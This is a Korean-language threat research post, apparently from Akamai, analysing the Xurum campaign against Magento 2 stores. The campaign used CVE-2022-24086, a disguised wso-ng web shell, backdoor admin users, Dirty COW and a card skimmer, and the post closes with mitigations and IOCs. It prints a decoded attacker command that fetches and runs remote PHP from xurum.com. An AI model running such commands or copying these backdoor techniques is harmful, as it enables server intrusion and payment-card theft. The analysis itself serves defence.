Xurum: 새로운 Magento 캠페인 발견
연구원: 론 만키브스키(Ron Mankivsky), 데니스 저먼(Dennis German), 첸 도이트슈만(Chen Doytshman), 맥심 자보디크(Maxim Zavodchik)
공동 작성: 트리시아 하워드(Tricia Howard)
핵심 요약
Akamai 연구원들은 디지털 커머스 웹 사이트를 악용하는 서버측 템플릿 인젝션(CVE-2022-24086) 캠페인이 진행 중인 것을 발견했습니다. 이 캠페인은 Magento 2 스토어를 표적으로 하며 Akamai는 공격자의 C2(Command and Control) 서버의 도메인 이름을 참조해 Xurum이라고 명명했습니다.
이 캠페인의 활동은 최소 2023년 1월부터 관찰되었습니다. 공격자는 지난 10일 동안 피해자의 Magento 스토어에서 발생한 주문에 대한 결제 통계에 관심이 있는 것으로 보입니다.
공격자는 새로운 Magento 구성요소소를 등록하고 이를 'GoogleShoppingAds'로 마스킹합니다.
공격자는 'magemojo000' 쿠키를 백도어 'GoogleShoppingAds' 구성요소로 전송할 때만 활성화되는 'wso-ng'라는 고급 웹 셸을 사용합니다.
웹 셸 로그인 페이지는 피해자의 인증정보를 수집하려는 숨겨진 로그인 양식이 포함된 오류 페이지로 가장합니다.
공격자는 또 다른 속임수로 Magento에 'mageplaza'나 'mageworx'라는 이름의 백도어 관리자 사용자를 생성하는데, 이는 인기 있는 Magento 확장 스토어 이름입니다.
공격자는 이전의 Dirty Cow 악용(CVE-2016-5195)을 사용해 Linux 내에서 권한 상승을 시도합니다.
증거에 따르면 이 위협은 러시아에서 시작됐습니다.
이 캠페인에 연루된 웹 사이트 중 일부는 간단한 JavaScript 기반 스키머에 감염된 것으로 관찰되었으며, 스키머의 존재를 난독화하거나 숨기려는 시도는 없었습니다.
서론
디지털 커머스는 광범위한 공격을 받는 업계입니다. 하지만 안타깝게도 Magento의 광범위한 인기로 인해 Magento는 사이버 범죄자들에게 특히 매력적이고 수익성이 높은 표적이 되었습니다. 가장 주목할 만한 특정 공격은 Magecart로, 공격자는 JavaScript 기반 스키머를 배포해 민감한 사용자 정보를 불법적으로 획득하는 것을 목표로 합니다. 이러한 Magecart 공격자 는 잘 알려진 웹 취약점을 악용해 공격에 성공합니다.
2015년 이후 Magento 스토어를 표적으로 삼은 위협 그룹은 최소 7곳으로,이는 이 플랫폼이 얼마나 유명하고 공격자들이 이 악용을 통해 성공한 것을 보여줍니다.
2022년 초, 공격자가 Magento 템플릿 엔진을 악용해 취약한 표적에서 임의의 PHP 코드를 실행할 수 있는 CVE-2022-24086 취약점이 발견되었습니다. 이 악용은 여러 단계를 거쳐 작동하며 일반적인 공격 기법은 결제 프로세스나 위시리스트 기능을 악용하는 것입니다. 이 취약점이 공개된 이후, 이 취약점은 취약한 Magento 2 스토어를 노리는 수많은 Magecart 공격자 의 주요 진입 지점으로 부상했습니다.
지난 몇 달 동안 Akamai는 비교적 적은 수의 Magento 배포를 노리는 집중 캠페인을 면밀히 모니터링해 왔습니다. 공격자들이 사용한 C2 서버의 도메인 이름을 참조해 캠페인을 Xurum이라고 명명했습니다.
초기 접속으로 CVE-2022-24086 활용
캠페인이 진행되는 동안 공격자가 총 4개의 IP 주소에서 두 개의 서로 다른 페이로드를 실행하려고 시도하는 것이 관찰되었습니다(그림 1). 이 IP는 두 호스팅 공급업체, 즉 독일 Hetzner와 미국 Shock Hosting의 인프라와 연결되어 있습니다.
첫 번째 변종은 'file_get_contents' PHP 함수를 실행해 서버가 CVE-2022-24086에 취약한지 여부를 확인하기 위해 공격자의 C2 서버 xurum.com xurum.com에 요청을 전송하고(그림 2), Base64 블롭은 https://xurum.com/mo로 디코딩합니다.
두 번째 변종은 공격자가 악성 PHP 코드를 다운로드하고 실행하는 두 번째 단계 페이로드이며, 이 페이로드는 동일한 xurum.com 서버에서 호스팅됩니다. 탐지를 회피하기 위해 원격 악성 PHP 코드 다운로드 및 실행을 담당하는 익스플로잇 세그먼트는 Base64 인코딩을 사용하여 난독화되고 "shell_exec " PHP 함수를 통해 실행됩니다 (그림 3). 난독화된 부분은 php -r "`wget -qO- https://xurum.com/b.txt`;"로 디코딩됩니다.
Xurum.com 드롭 존
xurum.com 서버를 조사하는 동안 이 서버는 물리적으로 네덜란드에 위치하고 있으며(그림 4) 러시아 호스팅 회사 VDSina.ru에서 호스팅하는 것으로 확인되었습니다(그림 5).
조사 당시 이 도메인은 잘 알려진 위협 점수 사이트에서는 악성 도메인으로 간주되지 않았습니다(그림 6). 이렇게 정상적으로 보이는 공격은 사용자의 신뢰를 높이고 공격자가 작전을 은밀히 수행할 수 있게 해줍니다.
'xurum'은 무엇을 의미하나요?
이 공격은 여러 차례 반복되었기 때문에 다른 캠페인과 구별하기 위해 이 공격을 xurum으로 명명했습니다.
공격자가 종종 자신의 도메인이나 멀웨어에 고유한 명명 규칙을 사용하면, 이것이 의도적으로든 그렇지 않든 해당 공격자의 고유한 시그니처 역할을 하게 됩니다. "xurum"의 가능한 의미를 조사하는 과정에서 우리는 두 가지 해석 가능성을 발견했습니다.
Google Translate에 따르면 xurum은 라틴어로 "옳다"는 뜻이며 이는 "옳은 일을 한다는 의미로 풀이됩니다"(그림 7). 반면 WordSense Dictionary에 따르면 xurum은 과테말라에서 한때 사용되던 소멸된 언어의 ‘소년’을 뜻하는 단어입니다(그림 8).
이 블로그 게시물을 작성하는 시점에서 공격자는 xurum 서버를 중단하고 아직 품질 보증 단계에 있는 것으로 보이는 다른 서버로 전환했습니다.
주문 정보 추출 및 Magento 백도어링
xurum 서버에서 다운로드되어 피해 머신에서 실행되는 악성 PHP 스크립트는 몇 가지 감염 단계를 거칩니다.
우선 피해자에 대한 다음과 같은 기술 정보를 수집합니다.
PHP 버전
악용이 'pub' 디렉토리(Magento의 일반적인 디렉토리 구조)에 랜딩되었는지 여부
'/var/www/html/vendor/magento/google-shopping-ads/registration.php' 파일이 존재하고 쓰기 가능한지 여부
환경별 설정 같은 Magento 애플리케이션의 중요한 정보뿐만 아니라 비밀번호, 신용 카드 정보, 고객 정보 같은 민감한 데이터를 보호하는 데 사용되는 암호화 키 같은 비밀이 포함된 'env.php' 파일의 내용
그런 다음 Base64로 난독화된 블롭을 디코딩해 '/var/www/html/vendor/magento/google-shopping-ads/registration.php' 파일에 씁니다(그림 9).
새 파일에 흥미로운 내용이 포함되어 있습니다. 새 파일의 코드는 웹 셸의 자체 복사본을 유지 관리하고 C2 서버에서 호스팅하는 대신, "Bad Advertiser"나 "@0xbadad'라는 보안 연구원이 소유한 퍼블릭 GitHub 리포지토리를 가리킵니다. 이 리포지토리 안에는 wso-ng라는 웹 셸이 있습니다. 그러나 이 점이 특히 흥미로운 점은 웹 셸이 서버의 디스크에 기록되지 않는다는 점입니다. 대신 새로 생성된 페이지 "registration.php"에 접속할 때만 메모리에서 가져와 실행합니다. 무단 접속으로부터 보호하기 위해 공격자는 웹 셸이 성공적으로실행되도록 특정 "magemojo000" 쿠키의 존재를 요구합니다.
그런 다음 공격자는 새로운 웹 셸 기능을 'GoogleShoppingAds'로 마스킹된 새로운 Magento 구성요소로 등록합니다(그림 10).
공격자는 백도어를 설치한 후 지난 10일 동안의 판매 주문 결제 방법에 대한 정보를 검색하고 이 데이터를 이전에 수집한 기술 정보와 함께 xurum.com 드롭 존으로 유출합니다(그림 11).
마지막 단계에서 공격자는 "mageworx"(또는 일부 변형의 경우 "mageplaza")라는 이름의 백도어 관리자 사용자를 생성합니다. 이러한 이름은 인기있는 Magento 2 확장 스토어인 Mageworx와 Mageplaza에 해당합니다(그림 12). 이러한 이름을 선택한 것은 평판이 좋은 확장 스토어 공급업체와 관련된 정상적인 행위로 위장하기 위한 시도로 보입니다.
백도어 사용자 이메일 주소에서는 흥미로운 뉘앙스를 발견할 수 있습니다. 이메일 주소 developer@mageplazza.com의 'mageplazza'에는 'z'가 두 개 있는 반면, 정상적인 스토어 도메인 이름인 mageplaza.com에는 'z'가 하나만 있으며 이는 공격자의 오타로 보입니다. 다른 백도어 사용자 이메일 주소인 support@magaworx.com에서도 비슷한 오타가 발생했는데, 원래 스토어 이름인 Mageworx에서와 같이 'e' 대신 'a'가 사용되었습니다.
새로운 웹 셸 세대: wso-ng
웹 셸은 공격자가 웹 서버에 업로드하고 실행해 서버와 서버의 기본 파일 및 데이터에 대한 무단 접속과 컨트롤을 지속적으로 얻기 위해 사용하는 악성 스크립트 또는 코드입니다.
이 작전에서 공격자는 위에서 언급했듯이 몇 년 전에 보안 연구원이 만든 wso-ng라는 매우 진보된 웹 셸을 활용하고 있습니다. 저자가 언급했듯이 wso-ng는 더 오래되고 유명한 WSO(Web Shell by Orb의 약자)의 새로운 세대입니다.
wso-ng에는 시스템 정보 수집, 파일, SQL 관리 같은 웹 셸에서 볼 수 있는 일반적인 기능 외에도 눈에 띄는 다른 놀라운 기능이 있습니다(그림 13).
새로운 기능
이러한 새로운 기능 중 하나는 숨겨진 로그인 페이지입니다. 페이지에 접속하면 404 Not Found HTTP 상태 코드로 응답해 페이지가 존재하지 않는 것처럼 보입니다. 표시되는 콘텐츠는 언뜻 보기에 비어 있는 것처럼 보입니다(그림 14). 그러나 페이지 소스 코드를 검사하면 숨겨진 로그인 양식이 표시됩니다.
이 양식은 왼쪽으로 1,000픽셀 이동해 표시 영역에서 효과적으로 벗어나는 간단한 CSS 트릭으로 뷰어에서 영리하게 숨겨져 있습니다. 이 숨겨진 로그인 양식은 사용자가 비밀번호를 입력할 때까지 기다리도록 설계되었습니다.
또한 wso-ng는 VirusTotal과 통합되어 감염된 머신의 IP 평판을 자동으로 확인할 수 있습니다. 더불어 우수한 평편의 Recorded Future 위협 인텔리전스 회사에서 제공하는 SecurityTrails 서비스와 IPinfo를 원활하게 쿼리해 동일한 서버에서 호스팅되는 다른 도메인에 대한 정보를 얻습니다.
웹 셸은 또한 호스팅 회사의 PHP 샌드박스를 회피하는 공격 기능도 가지고 있습니다. 이 악용은 fastCGI 및 php 추가 필터 악용을 포함한 다양한 기법을 사용해 비활성화된 PHP 기능을 성공적으로 우회합니다. 또한 웹 셸이 호스팅되는 특정 Linux 버전과 호환되는 로컬 권한 상승 악용에 대한 자동 제안 기능도 제공합니다.
이 웹 셸은 향후 블로그 게시물에서 자세히 더 자세히 분석해 보겠습니다.
구식 Dirty COW로 권한 높이기
xurum.com 서버에 있는 공격자의 무기고에서 또 하나의 흥미로운 툴을 발견했는데, 바로 Linux 로컬 권한 상승을 위한 Dirty COW라는 이전 CVE-2016-5195의 퍼블릭 악용이었습니다(그림 15).
웹 스키머 감염
많은 WAF(Web Application Firewall) 고객이 이 캠페인을 효과적으로 방어했기 때문에 공격자가 취한 추가 조치를 직접 관찰하지는 못했습니다. 하지만 조사 과정에서 이 캠페인과 간접적으로 관련된 웹 사이트 이름이 악용 요청의 오리진/참조자 HTTP 헤더에 표시되는 것을 발견했습니다.
이 웹사이트 중 하나 이상이 간단한 웹 스키머에 감염되었습니다. 스키머는 메인 페이지에 설치되었으며 난독화 기술을 적용하지 않았습니다. 대신 신용카드 정보를 수집해 'smileface.site'에 호스팅된 드롭 존으로 추출합니다(그림 16).
웹 사이트에 접속을 시도하면 'Get out!' 메시지로 차갑게 응답합니다(그림 17).
IP 정보에 따르면 서버는 모스크바에 있으며 러시아의 'reg.ru'로 호스팅되고 있습니다(그림 18).
요약
조사 결과, 이 캠페인은 적어도 2023년 1월 말부터 시작된 것으로 나타났습니다. 공격자들은 인터넷에 무차별적으로 악용을 배포하기보다는 특정 Magento 2 인스턴스를 표적으로 삼는 등 세심한 접근 방식을 취했습니다. 공격자들은 Magento에 대한 높은 수준의 전문 지식을 가지고 있으며 Magento 내부를 이해하고, 공격 인프라를 설정하고, 실제 표적에 악용을 테스트하는 데 상당한 시간을 투자하고 있습니다.
이 캠페인은 기업이 패치와 보안 조치를 따라잡기 위해 고군분투하고 있지만 오래된 취약점이 공개된 지몇 년이 지난 후에도 계속 악용되고 있음을 보여주는 실질적인 사례입니다.
보안 권장 사항
초기 서버 접속을 방지하기 위해 보안 담당자는 최신 패치로 업데이트하고 Akamai App & API Protector같은 WAF를 구축해 보완하는 것이 좋습니다.
이러한 Magecart 공격자 의 주요 목적은 웹 스키머로 Magento 페이지를 감염시키고 고객의 신용카드 정보를 훔치는 것이므로, 추가적인 전용 보안 솔루션을 사용하는 것이 좋습니다. 보안 솔루션은 브라우저 스크립트 동작에 대한 가시성을 제공하고 클라이언트 측 공격에 대한 방어 기능을 제공해야 합니다.
효과적인 접근 방식은 클라이언트에 대한 실제 공격이 발생하는 위치와 더 가까운 곳에 보안 조치를 배포하는 것입니다. 여기에는 민감한 입력 필드에서 읽기 시도와 데이터 유출을 식별하는 것이 포함됩니다. 이러한 이벤트를 즉시 수집해 Akamai Page Integrity Manager같은 보안 제품의 도움을 받아 신속하고 효율적으로 방어하는 것이 좋습니다.
관심 유지
최근 고객에 대한 Magento CVE-2022-24086 악용 시도를 분석하는 과정에서 현재 조사 중인 추가 캠페인을 발견했습니다. 추가 조사를 계속해 보안 커뮤니티와 결과를 공유할 예정입니다. 보안 리서치에 대한 자세한 내용은 Twitter에서 Akamai를 팔로우하세요.
IOC
게시물에 설명한 커뮤니티가 악성 활동을 탐지하는 데 도움이 되는 IOC(Indicator Of Compromise)는 다음과 같습니다.
값 |
종류 |
---|---|
104.36.229.168 |
공격 IP |
95.216.95.178 |
공격 IP |
95.216.94.99 |
공격 IP |
65.21.85.21 |
공격 IP |
xurum.com |
멀웨어 호스팅 도메인 |
/var/www/html/vendor/magento/google-shopping-ads/registration.php |
파일 이름 |
mageworx |
Magento 사용자 |
mageplaza |
Magento 사용자 |
developer@mageplazza.com |
이메일 주소 |
support@magaworx.com |
이메일 주소 |